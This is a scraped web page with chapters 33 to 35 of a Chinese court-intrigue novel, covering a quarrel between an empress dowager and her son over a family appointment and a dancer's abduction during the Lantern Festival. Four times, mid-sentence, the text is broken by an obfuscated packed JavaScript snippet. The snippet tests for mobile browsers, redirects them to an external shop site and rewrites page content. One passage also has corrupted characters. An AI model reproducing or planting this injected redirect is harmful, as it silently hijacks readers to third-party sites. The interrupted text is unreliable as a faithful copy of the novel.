如意陷入兴奋和忧虑的拉扯，楚棠登基后，他们的权力越发扎实可靠。 两个月来，她的食邑增加到了三千户，多少次，在臣工对“帝国公主”的亲热和无尽赞美中，她逐渐感到迷失，几要认为，自己将来会成为姑祖母那样的角色。 反观楚棣那头，虽封王，但食邑不过千户，府衙规模、地界、仆从、用度皆不及为她准备的公主府，臣工更是不咸不淡，甚至有敬而远之的苗头。 正是这样，让她对楚棣身份的尴尬，有了清晰的认知，再看到他终日愁眉不展，遵守阿耶的遗愿辅佐大哥，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120138|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更为他感到不值和揪心。 爱上海净师兄时，她仿佛锦衣夜行的旅人，眼前忽然出现一座灯塔，塔上灯光虽幽微遥远，但到底有一个好处——可以照亮前途。 如意身为公主，深知权谋倾轧的恐怖，故不能、也不敢为楚棣出头，而爱人间那份无微不至的陪伴，更是她身为妹妹无法做到的。她感激那女子，有了她，至少棣哥哥又多一份渴望，一份力量。 念及此，如意忽然鼻酸眼热，眼泪簌簌地扑将出来。 见她垂脸抹泪，楚棣问：“如意，哭什么？” “棣哥哥，妹妹为你开心！”如意抱住楚棣，边哭边笑：“等你与姐姐大婚，妹妹送你一份厚礼。” 楚棣拍拍她的背心，安慰道：“好如意，别哭了。”笑意有些艰涩，“不论大婚与否，我心里都会装满了她。” 如意孩子气，只说：“想得这样悲观？棠□□理万机，说不准没空管我们呢。” 兄妹俩相视一笑。 楚棣沉吟片刻，知道那是不可能的，只得故作轻松：“没想到，咱们也成难兄难妹了。” 如意自是笑着劝他：“棣哥哥，别杞人忧天了。国丧期间，谁也不会提及你我婚事。” 兄妹正说间，只听见外殿宫人行礼，脚步声极轻，少时眼前便出现几个人影，太后回来了，一并起身行礼：“见过阿娘，阿娘万福。” 那窦太后见一双儿女如此亲近，想在说体几话，缓步走来，却见女儿脸上挂着泪痕，想到楚棣幼时劣迹，当下开口问道：“棣儿，你又欺负妹妹了？” 楚棣忙说：“阿娘，没有的事，你别冤枉我啊！” 如意挽住窦皇后，只是撒娇：“阿娘，是女儿不好，想起耶耶便哭起来，惹棣哥哥也难过呢。” 窦太后正不痛快，一肚子火没处撒，楚棣恰是撞上枪口。且与儿女一并坐在软垫上，不再过问此事，转而问道：“你年后要去军中，宋蔺可有安排？” “有的。”楚棣听话头不对，毕恭毕敬地：“三叔安排儿子做步兵郎官三个月，再轮去战车、轻重骑兵营，等都熟悉，再确定是何下处，总之会在中军帐下，他教我排兵布阵、领军打仗。” 窦太后微微点头，“他年初就要南下劳军，不带上你？” 楚棣答：“母亲容禀，苏州春季湿冷难耐，大军操练多在水上，儿子不愿去。” 窦太后恨铁不成钢，板起脸：“大晋东起高丽、西达庭州、西州、伊州，北至瀚海，南有百越，太宗分天下为十道，设三百六十州府，辖下一千五百余县。你可知‘一山分四季，十里不同天’？更遑论如此辽阔疆域，各地气候定然大不相同。先帝晏驾前，你答应他从宋氏父子手中取回南衙，如今为何半点苦都不愿受？” 楚棣涨红了脸，拱手道：“母亲所言极是，儿子受教。”心里却寻思，我本富贵，放着好日子不过，偏去自讨苦吃干么？若非父亲临终嘱托，我连蓝田都不愿去。这世上有的是欲成功业之人，少我楚棣一个，有何干系？ 33. 共取辰星 见楚棣犹自不服，窦太后当下又训：“你这孩子，拉长脸给谁看，忒不懂事！你阿耶和兄长在你这般年纪，已有一番功业了。你嫌南方湿冷，不去，有的是人想去。” “父兄为君，儿子为臣，怎好一概而论？”楚棣不懂阿娘莫名的火气，忍不住还嘴。 窦太后越发严厉：“宋蔺尚不如你，封侯拜将时也不过二十来岁。” 楚棣凑过去，没皮没脸地笑道：“那‘龙生九子，各有不同’嘛，孩儿是块什么料阿娘知道。如今兄长已登帝位，阿娘何必与孩儿为难呢。” 窦太后想到母族的尴尬境地，只是一叹：“并非阿娘与你为难，而是你混沌了二十年，也该清醒过来为自己争口气了。” 但觉话头不对，楚棣坐得更近，顺着说：“那是自然，不过建功立业须得天时地利人和，儿子样样没有，急不来的。” 想想也是，窦太后神色凝重，单是微微点头，没开口。 楚棣朝如意使个眼色，兄妹俩左右偎着母亲。楚棣亲热地问：“阿娘近来可是遇到难事了？此刻殿中就咱娘仨儿，没有外人，您说与我们听听呗。” 窦太后左右看看这双儿女，但觉窝心，遂拍拍二人手背，语重心长道：“棣儿须知，‘梁园虽好，不是久恋之家’，你若将大好时光荒废在富贵场中，将来顿悟，可不悔之晚矣。” 楚棣只是不解：“阿娘在为儿子担心？” 窦太后道：“不只为你，还有许许多多人。” 楚棣心想终于步入正题了。 三个孩子中，窦太后最疼爱楚棠，但她深知楚棠荡情于帏薄，对手足亲朋、公卿百官分外凉薄，随身侍奉者，乍富乍贵、咋贫乍贱俱是常态。 为楚棠能顺利继承大统，窦氏一族自他入主东宫，举族上下奔波劳碌，而今事成，不加官晋爵也罢，只是那份存心冷落，足以让窦太后心悲。 今日与阿弟叙谈，他们一致认为，假若楚棠决意弃母族不顾，那么窦氏从今往后惟有指望楚棣。可这孩子千好万好，就是一点不好，胸无大志，一心混吃等死，故而，听见那些浑话，窦太后怒火中烧，训斥了他。 楚棣察言观色功夫一流，见母亲不似寻常，心下已明白几分，却佯作不懂，追问道：“眼下朝纲初定，阿娘为何杞人忧天？” “虽然如此，但见棠弃你们阿舅不顾，阿娘心中总有担忧。” “此事儿子有所耳闻。”楚棣思忖片刻，说起公道话：“新皇登基封赏母家是最正常不过的事，兄长迟迟不封，想必没想好罢。再说，外祖父一生心血尽与兄长，他不在了，就子承父志，陛下也该给阿舅一个爵位。” 窦太后切齿：“母族有爵无权，置你阿娘颜面于何地？” “那阿娘的意思是，要阿舅在朝中担任实职？”话一出口，楚棣就悟了，阿娘表面平静无波，内里却暗潮汹涌。如今兄长登基，她一熬出头便不再伪装。阿舅人不错，但胸无点墨，担任实职定然误国。棠不应允才是明智之举。 “不如此，却如何？”窦太后面色阴沉，眼神凌厉，似要将眼前障碍割碎。 楚棣小心翼翼地问：“阿舅意属何职？” “裴谈致仕，凤阁开缺侍郎一位，我意让窦兆补缺，成全你们外祖父遗愿。娘与陛下商量，他却一口回绝，执意迁崔骐入阁。” 崔骐，博陵崔氏大房长子，天资聪颖，加冠之年考中明经科，于秘书省任职，因学行闻名翰林，今岁不过四十，已累迁度支员外郎，深为清流赞许。此人性似菊，凌霜自行，不趋炎附势，极遭权贵忌恨，受打压多年，未得右迁。 楚棣心想，陛下当真提拔此人，实乃慧眼识珠，可如此一来，崔氏文有崔骐，武有崔骧，宫中有太子妃与曙雀，外戚势力一跃而起，再待几年光阴，在朝中可直逼近当年宋氏。 当年窦氏作为后族，因内有太后，外有镇国公主和九原侯，故不得此际遇，阿娘心中不快，大约是这个缘故罢。 想定其中气象，楚棣也略为母族不值，正要开口，却转念想到，外祖父母、舅舅姨妈，除亲情人伦以外的东西，不曾给过他任何。对这些一碗水端不平的人，似乎不必滥用同情。 一时间，楚棣心里像打翻五味瓶，什么滋味都齐全了。 楚棣拱手道：“事关朝政，非一家之言，儿子无法为阿娘分忧，惭愧至极。” 窦太后摇头轻笑：“少说这些话糊弄娘。你以为娘不知道，阿舅在你和楚棠眼里只能做个弄臣。” “儿子不敢。”楚棣将头埋得更低。 窦太后喟然一叹：“楚棣啊，你阿舅老实本分，不是政客，比不上你们楚家长辈个个老谋深算。如今你们长大成人，能辨是非，阿娘也不再瞒着，我初登后位时，你祖母处处与我为难，后来承蒙宋侯讲情，才让我少受搓磨。你们可知为何？” 楚棣和如意摇摇头道：“孩儿不知。” 窦太后哽咽一声：“当时先帝尚未亲政，你们外祖父致仕回籍，窦氏朝中无人。说起来，窦兆与宋邯同为国舅，因无爵位官职在身，来往九原侯府，只能为宋邯牵马执蹬，陪同饮酒，须得时跪时起，如宋氏后辈一般，整整十五年，为世人耻笑。窦氏虽不是老世族，但以书香传家，自有一等气度，若非为我、为楚棠，他不必这般卑躬屈膝。” 自年少时，楚棣便不齿阿舅如此行事，今天听罢，蓦地双颊做烧，几要抬不起头。 窦太后肃然问：“楚棣，现在你还认为你阿舅不该进入庙堂吗？” 楚棣一字一顿：“假若阿娘为延续母族荣光，儿子尚能理解；假若只为争回昔年之气，与宋氏、崔氏一争高下，那便不该。” “照你的意思，阿娘就不能有私心了？” “儿子不是这个意思。” “你敢说，”窦太后寒声问：“你就没有私心？” 楚棣毫不犹豫：“父亲曾教儿臣‘公器不可私用’，儿子纵有私心，也只为私事。”而他的私事，永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120139|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远不敢向母亲和盘托出。 “好！”窦太后猛然起身，“阿娘要的就是你这句话。”看不出喜怒，看不出褒奖或讽刺，总之，说完便走出殿去，独留楚棣和如意面面相觑。 “如意，你跟阿舅最好了。”楚棣问：“你觉得阿舅能做好凤阁侍郎吗？” 如意初尝权力，野心尚未成型，眼界格局也并不大，对前朝官员任免并不上心。 楚晋是“群相制度”，依她所想，凤阁人才济济，滥竽充数一个两个无甚问题，更何况阿舅善交际，城府不浅，并非真是“滥竽”。 在新君登基前，如意认为父母两族给予她的疼爱相等，但在新君登基后，如意却悄然将这两份爱分出高下。 虽然如此，如意心底仍深爱着两边的家人，只可惜她是公主，不在朝中，没有任免权，不敢也不能多言。 如意答：“我觉得，阿舅不像一个凤阁侍郎。” 楚棣了然一笑，“那你看，二哥像不像一个将军？” 自听说蓝田大营点将一事，如意就朦胧地感知到，棣哥哥将来会出将入相，成为国家栋梁之才，然而，只要南衙一日在宋蔺手中，他就无法真正施展大才。到那一天，他们也将一战。 如意喜欢当下，不想将来，脆声道：“不是像，我棣哥哥就是一个大将军。” “就数你会说话。”楚棣微笑揽过她的肩膀，轻声道：“妹妹，你去替二哥向阿娘道个歉吧，二哥头先那话没说好。”幸而身边有如意，她年幼，且不能参赞政事，不论言行是否妥帖，都不会遭人猜疑。 身为皇子，楚棣深知不能在皇帝和太后有隙的日子里贸然开口，否则不论中立与否，都极其微妙而危险。他决定先作壁上观，等弄清问题症结所在，再做打算。 如意眼珠子一转，有了盘算，“那你怎么谢我？”虽说阿娘不许她议政，但这回可是事出有因，即便要挨骂，上头也有棣哥哥顶着，轮不到她。 “送你第一茬洞庭碧螺春如何？” “好也！棣哥哥要去苏州了。” “阿娘有命，不得不从。” 楚棣不愿跑这一趟，可从未见过阿娘如此愤怒，到底吓着了，不好再犟下去，否则前二十载没挨的骂，往后保准一一补上。 比起做出气筒，他更愿意做个孝子。 如意察觉到棣哥哥有心事，但是不能确定，这心事与何人有关。想了想，只是问道：“棣哥哥，若是阿娘与棠哥哥翻脸，咱们到底帮谁呢？” 楚棣反问：“听完阿娘的话，你认为棠的做法对吗？” “那要看阿娘和棠哥哥立场如何了。” “说来听听。” “为公，棠哥哥做得对。为私，阿娘做得对。” 楚棣觉着讨巧，惊讶地望向如意，“既然如此，那妹妹是为公还是为私？” “我暂且都不为，否则，我里外不是人了。” “好个都不为！”楚棣终于有了决断。 34. 鸳鸯侣 倏忽已至上元，长安城内暂闭宵禁，家家户户张灯结彩，夜不闭户，街道上衣香鬓影，人影憧憧，坊市两边陈列各式花灯，待到入夜，这座繁华都城的灯烛，会将素色燃尽，使其在漫天萤煌中涅槃。 茉莉魏缨出宫采买，朱雀大街寥寥逛过，径投崇仁坊润笔市场去，是魏缨许了她的，写新字体时，送她两支新笔。 小厮追赶茉莉，至长安城已有月余，起先在城中遍寻不到，上回忽然撞见，便留心跟着，在杏花楼被那胡人乐师绕丢了，今日再度撞见，赶忙一人回客栈报与管事妈妈，另两人远远跟着。 且说润笔市场内，共有大小不一二三十家书肆，各式文房四宝紧俏书笺都有，直教人眼花缭乱。因来买笔，时间不紧，见各家书肆噱头不一，二人便缓缓逛去。 两个小厮看了，不意打草惊蛇，就不近不远、不紧不慢地跟着，直到管事妈妈那头传话，命今日定要将茉莉抓住，方商议道：“三娘身边那美人，温婉动人，像是大户人家小姐，幸而没带仆从。等刘妈妈派人来，咱们上去寻一场闹，让她们趁机把三娘带走便罢。” 另一个应道：“好，咱们别得罪了人，否则回去吃不了兜着走。”商量已定，只等时机。 茉莉与魏缨在书肆中，看笔至痴迷，半晌没有出来。 两个婆子一到，那小厮说出计划，不自在地朝书肆里去，见茉莉蹲在外室看笔，十分专心，魏缨在内室读书，二人不在一处，便鬼鬼祟祟地站过去，一人一边，将门口视线死死挡住。 一个垂髫小儿走到茉莉身边，笑嘻嘻地：“姐姐，外头有人找。” 茉莉心里忌疑，只是问：“找我？那人什么模样？” 小儿答：“是个胡人。” 茉莉听了，更加起疑，她认识的胡人只鹭起一个，听说今晚他要入宫为新君献艺，要找她，自己过来就是，何必叫这小孩传话。当下从荷包里摸出两枚铜钱，给那孩子：“拿去买个花灯玩儿。”摸摸头道：“去吧。” 孩子闻言便走，茉莉躲到窗后，视线寻着那孩子，却在拐角处不见了。 茉莉犯难，决定去寻魏缨，恰在此时，有人自身后拍她肩头，一回头，正是家中那两个蛮横的胖瘦婆子。 婆子猛地凑近，一左一右挟住茉莉，待要喊，那胖婆子低声道：“姑娘莫喊，否则两个小厮伤着里头那姑娘就不好了。” 茉莉怕魏缨受害，只得咬住牙关，柜面后整理新书的掌柜抬眼一瞧，见被二人近乎拖行，带了出去，不禁起疑，但见她并不叫喊，便继续埋头做事。 那胖瘦婆子边走边说：“三娘叫老爷夫人好找啊。”口里越说，手上劲道越大，抓得茉莉双臂生疼。 茉莉挣扎喝道：“你们想做什么？放开我！” 转进一处小巷，胖瘦婆子放开手脚，将茉莉逼到墙角，取出随身带来的布缎，双手双脚绑紧。片刻后，那两个小厮牵来一辆马车，婆子用布把她嘴里塞得死死，扔上车去。 车中，茉莉倒在地上，浑身生疼，胖瘦婆子一人一边，兀自讥讽道： “真真是个蠢物，同她那下贱小娘一样。” “跑，你怎么不跑了？” 一人踢她一脚，疼倒不要紧，可是对小娘那份侮辱，让她眼泪淌进鬓角里。这回被抓回去，不知下场如何，要是父亲执意将她送京兆尹做妾，那这一生，便毁得彻彻底底。 好容易逃出生天，日子渐渐好了起来，却不想，又被这双罪恶的手拉回深渊。茉莉生出死志，可理智提醒着她，万万不能像阿娘那样，满怀绝望地，在屈辱中死去。 该死的人从来不是她！ 她下了死心，总有一日，要让这对豺狼付出代价！要让所有欺辱过她们母女的人，付出代价！ * * 书肆里，魏缨选定几本字帖，都是茉莉合用的，站在柜面结账，却四处瞧不见人，只得问那掌柜：“先生，你可有瞧见方才在这儿挑笔的姑娘？” “见着了，”掌柜放下书，“两个婆子带她朝西边去了。” “多谢。”魏缨但觉不对，“那两个婆子长什么样儿？” “一胖一瘦，中等个子，长得凶神恶煞，架着她就去了。” 魏缨慌忙结了账，抱字帖跑出门去，站在长街之上，忽然没了主意——想找楚棣帮忙，可今夜宫中有大宴，他是亲王，必脱不开身。想来想去，魏缨决定去敲王府的门，只是，听说王夫人难缠，心里登时灰了大半。 不管了，哪怕被撕烂这张面皮，也得先救茉莉。 走过数街，魏缨至王府门前，门子瞧见她，惊为天人，忙起身问道：“姑娘可有拜帖？” 魏缨只是摇头：“没有拜帖，”取一锭银子递去，“请小哥转告官人，阿缨有急事找他。” “多谢姑娘。”门子把银锭收进袖中，一骨碌进门，拿在口中咬了一口，奔去传话。 不过一时半刻，王山遥便一人从角门出来，先打发了两个门子，四下里看过，没有耳目，这才开口问：“你怎么来了？”吓他一跳，以为圣人微服出巡。 魏缨怯怯的，走上前，将事情一五一十说了，央求道：“求官人援手，救我那苦命的妹妹。” 王山遥问：“你肯定她被家人掳走了？” 魏缨点头道：“上回出宫，我们便觉身后有人，却不知是谁。今日事发，想来是京兆府尹不肯放过，故而她家中派人来拿了。” 王山遥虽是天子近臣，但京兆府尹，毕竟资历更老、手段更高明，那内宅私隐，岂是他这后生可以置喙的。想罢，也不想耽误茉莉，便对魏缨道：“何不请襄王出手相助？” 恰才说完一句，只见魏缨已经红了脸，低声道：“奴婢人微言轻，见不到襄王。” 王山遥道：“我正陪夫人挑选赴宴衣裙，看得眼花，恰好你来，何不帮忙选出一件，若她欢喜了，帮你传句话，更十分好了。”顺势邀魏缨入府。 刚走到院里，见得回廊下站定几个女使，瞧见他俩，便急急慌慌的，忽而自月门后传来一道女声：“郎君，是表哥来了？”她口中的表哥，是当今天子。 魏缨一听，心猛地悬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120140|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，做贼似屏住呼吸，只见月门里站定一个美人，头顶义髻高高堆起，婉转处，缀两串珍珠，发间簪几朵金铜杂花花钿。披一领黑狐裘，穿一袭紫浮光锦团花齐胸破裙，系一条朱红宫绦，穿软罗紫绣鞋，手中握一个铜錾花瓜棱手炉。 那美人生的晶莹如玉，质艳如虹，骨肉匀亭身材，二十四五年纪，上前来，口中问道：“郎君，这位姑娘是谁？” 魏缨知道这是王山遥妻子陶缙。 原来王山遥专一爱美人，曾因此拒绝先帝指婚，直到三十岁，入窦府赴宴，在后院遇得陶缙，为其美貌倾倒。恰好窦阁老本意如此，发觉二人互生情愫后，火速定下婚约。 那陶缙自幼丧父，与母亲回到母家，娇生惯养长大，随心所欲，常常言行无状，外人私下称她草包美人，瞧在王山遥眼里，却无比可爱。 娘子发问，王山遥自是为二人引荐：“阿缙，这是我昔日在掖庭救下的那位姑娘，叫做魏缨。这是内子，陶缙。” 魏缨正当桃李，韶颜稚齿，亦有国色，但在陶缙跟前，自觉矮上一截，因那备受疼爱的姿态，让她自惭形秽。 陶缙想她年轻胆小，好意赞道：“早听郎君说起过魏缨姑娘，今日得见，果真有花树堆雪，明月春晓之貌，榴花花神实至名归呀！” 魏缨忙盈盈一礼：“夫人羞煞奴婢了。” 王山遥怕陶缙事后多想，一壁将引二人进入内宅，一壁说：“阿缙，裙子选好了么？若没好，让魏缨姑娘帮你挑，恰好她也有桩事，须得你张嘴才行。” “我能帮上什么忙？”陶缙自管迁延日子，从不过问窗外之事，今日竟有人求到跟前，不由目瞪口呆。 魏缨本就心焦，自打见了她，更是没撩没乱，闷闷不乐，跟在二人身后。忽被点了名，整肃神色道：“夫人容禀，奴婢有个妹妹，名唤茉莉，与襄王殿下有过几面之缘，今日我们出宫采买，妹妹无端失踪，奴婢实是走投无路才求到府上。” 话到此处，陶缙大体明白了，“你的意思，要我将这事告诉楚棣？” 魏缨点头：“为今之计，只有如此。” 陶缙道：“有何难哉！只怕你妹妹遇到拍花子的，今日上元，长安城鱼龙混杂，楚棣手无权柄，想必无计可施。我寻思，郎君倒不如直截了当，引她与表哥一见。” 王山遥心里直叹气，嘴上却说：“阿缙，圣人日理万机，哪有心思关心她的妹妹。” 陶缙不以为意，边走边说：“自表哥登基，不知怎么就变得凶巴巴的，也不近女色了，魏姑娘花容月貌，说不准表哥一见就会爱上她的。你们本是一丘之貉，难道不懂我的意思？” 王山遥听了，摇头苦笑：“娘子说的不错，法子也好，只是圣人失怙之痛未过，魏姑娘再美，也入不得眼，进不得宫。”实则已惊出一身冷汗。 他知道，终有一日，陶缙会跌在这张没遮拦的嘴上。 陶缙专横跋扈，听不得半点儿逆言，成婚以后，王山遥虽极少采纳她的建议，但从不会直接反驳。这让她很受用。别过脸，努努嘴道：“噢。” 35. 旧时波 当时夫妇二人入得兴庆宫，在甬-道对答一回，见陶缙把话都说得中听了，王山遥方能放心。 想起家中光景，王山遥深叹一气，叮嘱道：“阿缙，下回当着外人的面，别说那些不敬之言。” 陶缙“哼”一声，犹不服气：“人家说的都是实话，郎君干么训我？再说了，那魏姑娘不是你的人么，即便不敬，即便听去，她只是为你，也不会传出去。” 王山遥十分诧异：“为夫何敢教训娘子？”接着解释道：“娘子明察，魏姑娘实与为夫无关，仅仅算得旧识。她空有一副皮囊，至今屈沉在内廷之中，尚不知何时际遇能到。今上伉俪情深，宫中虽有几位美人，却都不得脸，娘子想过是为何故？” 陶缙不假思索道：“政务繁忙呗。”大步向前走去。 因花萼相辉楼近在眼前，王山遥只得住了嘴，追去执起陶缙双手，安抚道：“好啦！为夫给娘子赔不是，请娘子宽恕则个！”说着将手送到唇边，在手背轻轻一吻。 陶缙转脸笑道：“这还差不多。” 缓步朝长廊尽头去，转角处，只见楚棣迎面而来，拱手见礼：“见过表姐、表姐夫。” 王山遥躬身回礼，端的恭敬，陶缙却只轻拂裙摆，说道：“阿弟，你来的正好。” 楚棣笑问：“表姐找小弟有事？” 王山遥自寻借口先走，陶缙这才说：“听说你与一个宜春院伶人是旧相识。” “是呀！”楚棣素来与她亲近，知她性情直爽，从无害人之心，故不隐瞒。 陶缙道：“那伶人今日出宫采买，在崇仁坊润笔市场失踪了，她姐姐寻她不见，急得六神无主，又见不到你，便登我家的门，央我将此事转告与你。” 楚棣吃了一惊，自茉莉说有人跟踪后，他就差人去蓝田打听，得知茉莉逃婚一事无甚风波，适才将人撤回。怎么短短一旬，竟出这样的事？ 急急慌慌向陶缙道过谢，也顾不得夜宴了，三两下跑出宫去，打马直奔镇国公主府。正遇上出行，两辆华贵马车停在照壁前，公主与宋邯已经上车，窗未合拢，见得宋蔺在窗前道：“母亲父亲先行，儿子随后就到。” 又见女使婆子候着，不见婶婶和妹妹，待那马车一走，楚棣上前截住宋蔺，口里叫道：“三叔帮我！” 宋蔺回头，见是楚棣快步而来，不解道：“什么帮你？” 楚棣看见救命稻草，见四下无人，简单明了把话说了，问宋蔺道：“三叔可能调几队金吾卫让我在城中找人？” 宋蔺寻思片刻：“不可。”他与楚棠别别扭扭，一旦抓住他的错处，无异于自寻死路。 楚棣一把抓住宋蔺，心生一计，扭糖似的扭他：“三叔，求求你了，那可是侄儿的救命恩人啊！” “住嘴！”宋蔺一听，急了，大力甩开楚棣的手，“要调兵去求陛下，你说这话，存心要害死我吗！” 楚棣求道：“三叔，三叔！棣儿何时想过害你？这么些年，我张嘴求过你么？至今就这一件，你都不肯答应？” 也不知宋蔺听没听懂，楚棣继续道：“三叔，我尚未婚配，要是兄长知道我要找的是个女子，该想到哪里去了！我爹不疼娘不爱，好容易这人对我有再造之恩，你就成全我这份报恩的心吧！” 乱七八糟说了一阵，始终不听宋蔺松口，却是瞅着楚棣腰间。 楚棣一摸，正是那把能调动千军万马的太宗剑，在新君即位后，赐与他了。立时拿定主意，若宋蔺不帮，今晚即便假传圣旨，也得把人救下。 至于后果，他不敢细想，只是寻思，将来等待他的，是刺配也好，贬为庶人也罢，总之，救了茉莉再说——她人生头十七年，无依无靠，活在暗无天日的修罗地狱中，历经千难万险，挣命般逃将出来，好日子没过几天，他怎忍心，任旁人遮住她生命中这缕天光。 楚棣越想越为茉莉委屈，抹了泪，提起剑，一径朝金吾卫大营奔去。 * * 听得六百鼓声尽，城门如往常一样关闭了，马车只得调转方向，驶进一家客店后院，隔道院墙，外头人声鼎沸。 胖瘦婆子提了茉莉下车，送到客房，入夜后，街上忽然静了，紧接着客店大堂也静了。那管事刘妈妈贴在门边，满耳叮叮当当甲胄声，门外道，金吾卫盘查贼人，方胡乱歇了一夜。 翌日正午，城门打开，刘妈妈和胖瘦婆子在客店中叫了饮食，因放心不下，便吩咐小厮去外头打听消息，回来仍是抓贼的说法。当下吃过饮食，上路回蓝田去。 时值隆冬，天寒地冻，茉莉一昼夜水米未进，面如土色，唇上起了一块一块的白皮，倒在马车中，昏昏沉沉睁眼道：“求妈妈赏我一口水喝。” 刘妈妈怀中拢着汤婆子，讥讽道：“三娘好不晓事，出阁之日，一声不吭跑了，害阿郎被府尹斥责。瞧你，如今在长安混出头了，做什么营生？竟穿起浮光锦了，咱们家里大姑娘想要，都只能少少的拿个两三匹，做一身衣裙过过瘾。” 茉莉有了盘算，娓娓道：“我如今是内廷登记在册的一等伶人，先前得了机缘，掺合进新君登基一事，刚得赏赐，自然好吃好穿。请妈妈放我回宫，免得上头追究起来害了家里。” 刘妈妈不信，讥笑道：“三娘好有出息，待回到家中，奴婢定原话转告阿郎与娘子，届时自当放你回宫，不必急在一时。” 胖瘦婆子车外听见，一路上叽叽喳喳，却不想出城时遇上盘查，幸而刘妈妈有计在先，囫囵骗过了，见茉莉睡着，嘴里不停咒骂：“我家姑娘时运不济，嫁个黑心汉，撞上你们这对讨债的母女。” 马车猛的一抖，茉莉翻过身，腰间滑掉那块翠玉。刘妈妈弯腰捡起，拿在手中看了半晌，看不出门道，本想昧下，但见与往常家中所见皆不一样，又见茉莉从头到脚一水好货，想那几句话，心里便犯嘀咕。 午后一众达到蓝田，没有松绑就将茉莉扔进后院柴房，两个婆子锁上门，守在门口。刘妈妈到房中回话，不等主君主母发问，便把事情尽数道来，话毕，不忘取出翠玉递与主母。 见得那块玉，元氏夫妇都觉贵不可言，捏在手中，却一味气闷。因从不将妾室子女当人看待，故茉莉这番奇遇，无法令他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120141|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们相信半分。 元父名综，幼时双亲相继离世，被族叔收养，上过几年私塾，肚中有些文墨，但生性贪婪猛恶，万不肯吃苦，少年时，幸有族叔鞭策，一路考至进士。 因生的一副好皮囊，放榜当日，被榜下捉婿的富商张老看中，当即做主将长女玉桃嫁与他。 婚后，元综任下州县令，携妻去到汛地，脱离族叔与丈人视线，逐渐回归本色，黑心烂肠遮盖不住，大喜的是，夫人与他相投，二人达成共识——对外，元综欺下媚上，搜刮钱财；在内，张氏调-教姬妾，行龌蹉勾当。成了一对臭名远扬的贼夫妇。 十几载间，元综从下州到中州，直至京兆府治下，虽一直任县令，但品秩慢慢升了上去，他们坚信，只要钻营钻得好，总有平步青云那一天。 那京兆尹许过他，事成后将他调到长安城中任职，为此，他花了大心思寻找茉莉下落，终于皇天不负有心人。 当时下人将茉莉提来，重重摔倒在地，夫妇二人坐在上首，见她穿一袭花纹繁复的浮光锦圆领袍，披一领狐皮短披风，身上环佩叮当，形容用度不似往日，确是得了际遇。 未及二人开口，茉莉吃力地起身坐地，闪眼看时，那块翠玉正在元综手里晃荡，她连忙叫道：“求父亲将玉佩还给女儿。” 元综听得，将玉佩放在桌上，肃然道：“玉佩乃定情之物，你当日逃婚离家，却因与谁私定终身不成？”一记眼刀飞去，立时两个婆子将茉莉按趴在宽条凳上，动弹不得。 说实话无非招致更多讥讽、打骂，茉莉想罢，答道：“女儿至今清清白白，逃婚皆因不愿步阿娘后尘——” 话到此处，张玉桃出言喝道：“好个养不熟的白眼狼，你自幼来我房中，我一蔬一饭将你拉扯长大，尽给我找麻烦，要我不痛快。时至今日，你若认那贱人是你阿娘，就该接受与她一样的命运。送你给府尹做妾，算是抬举你。” 茉莉口中驳道：“主母，我五岁到你院中，不曾受到一日宽带，住下人房中，虽不曾亏待我吃穿饭食，但行动坐卧、吃饭喝水，无一处不挨骂，你时时轻贱我们母女，我皆受着，从不反驳半句。今日落到你们手中，我心中只有一个问题，你若答得我，我纵去为奴为婢也认了。” “什么问题。”张玉桃问。 茉莉腕上绳子终于被挣松了，着意要逃，见人多势众，只先捏住绳结不动，流下几滴眼泪，万分委屈：“二老何以如此待我？” 闻言，元综暴怒大喝：“你这狼心狗肺的东西！为父处处为你筹谋打算，还委屈你不成？” 元综自认，对每个子女都有父爱，但那东西，怎比得过实实在在的前途？况且，在诸多子女中，此女性情外貌与他最像，说不疼是假的，因此早早教她开蒙、学舞，盼望她能有个好前程。 那时元综就发现，此女天资聪颖，但早熟倔犟，极有主见，能忍常人所不能忍，教她读书明理，时日一久，主张大了便无法控制，故而只叫她认得几个字，却不教写。 元综对茉莉，可谓一步三算，但唯独没算到，她的心性并未磨平分毫。 